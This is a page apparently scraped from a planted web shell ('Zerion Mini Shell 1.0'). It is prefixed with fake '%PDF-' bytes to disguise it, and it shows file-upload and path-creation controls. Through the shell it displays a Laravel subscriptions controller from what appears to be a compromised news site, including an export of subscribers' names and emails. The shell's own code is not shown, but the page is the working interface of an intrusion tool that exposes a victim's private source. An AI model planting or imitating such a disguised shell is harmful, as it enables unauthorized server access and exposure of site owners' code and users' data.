%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Controllers/Api/SubscriptionsController.php

<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\ApiController;
use App\Http\Requests\Subscription\SubscriptionStoreRequest;
use App\Http\Requests\Subscription\SubscriptionUpdateRequest;
use App\Repositories\Base\Criteria\SearchCriteria;
use App\Repositories\Subscription\SubscriptionRepository;
use App\Transformers\SubscriptionTransformer;
use Carbon\Carbon;
use EllipseSynergie\ApiResponse\Contracts\Response;
use Maatwebsite\Excel\Facades\Excel;

class SubscriptionsController extends ApiController
{
    /**
     * @var TagRepository
     */
    private $subscriptionRepository;

    /**
     * UsersController constructor.
     * @param Response $response
     * @param SubscriptionRepository $subscriptionRepository
     */
    public function __construct(Response $response, SubscriptionRepository $subscriptionRepository)
    {
        parent::__construct($response);
        $this->transformer = new SubscriptionTransformer;
        $this->subscriptionRepository = $subscriptionRepository;
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        return $this->response->withPaginator($this->subscriptionRepository->paginate(), $this->transformer);
    }

    /**
     * @param SubscriptionStoreRequest $request
     * @return mixed
     */
    public function store(SubscriptionStoreRequest $request)
    {
        $subscription_data = $request->all();
        $subscription_data['token'] = bcrypt(uniqid().Carbon::now());
        $subscription = $this->subscriptionRepository->create($subscription_data);
        return $this->response->withItem($subscription, $this->transformer);
    }

    /**
     * @param SubscriptionUpdateRequest $request
     * @return mixed
     * @internal param $id
     */
    public function unsubscribe(SubscriptionUpdateRequest $request)
    {
        $email = $request->input('email');
        $token = $request->input('token');
        $subscription = $this->subscriptionRepository->query()->where('email',$email)->where('token',$token)->first();
        if(!empty($subscription)){
            $subscription->is_active = false;
            $subscription->save();
            return $this->response->withItem($subscription, $this->transformer);
        }
        else{
            return $this->response->errorWrongArgs('Bad request for our server');
        }
    }

    public function export()
    {
        $this->subscriptionRepository->pushCriteriaOnce(new SearchCriteria());
        try {
            $file = Excel::create('Subscriptions', function($excel) {
                $excel->sheet('List', function($sheet) {
                    $model = $this->subscriptionRepository->query()->select([
                        'firstname',
                        'lastname',
                        'email'
                    ])->get();
                    $sheet->fromModel($model);
                });
            })->export('csv');
            return response()->download($file, 'subscriptions.csv', ['Content-Type: text/csv']);
        } catch (\Exception $e) {
            return $this->response->errorWrongArgs($e->getMessage());
        }
    }

}

Zerion Mini Shell 1.0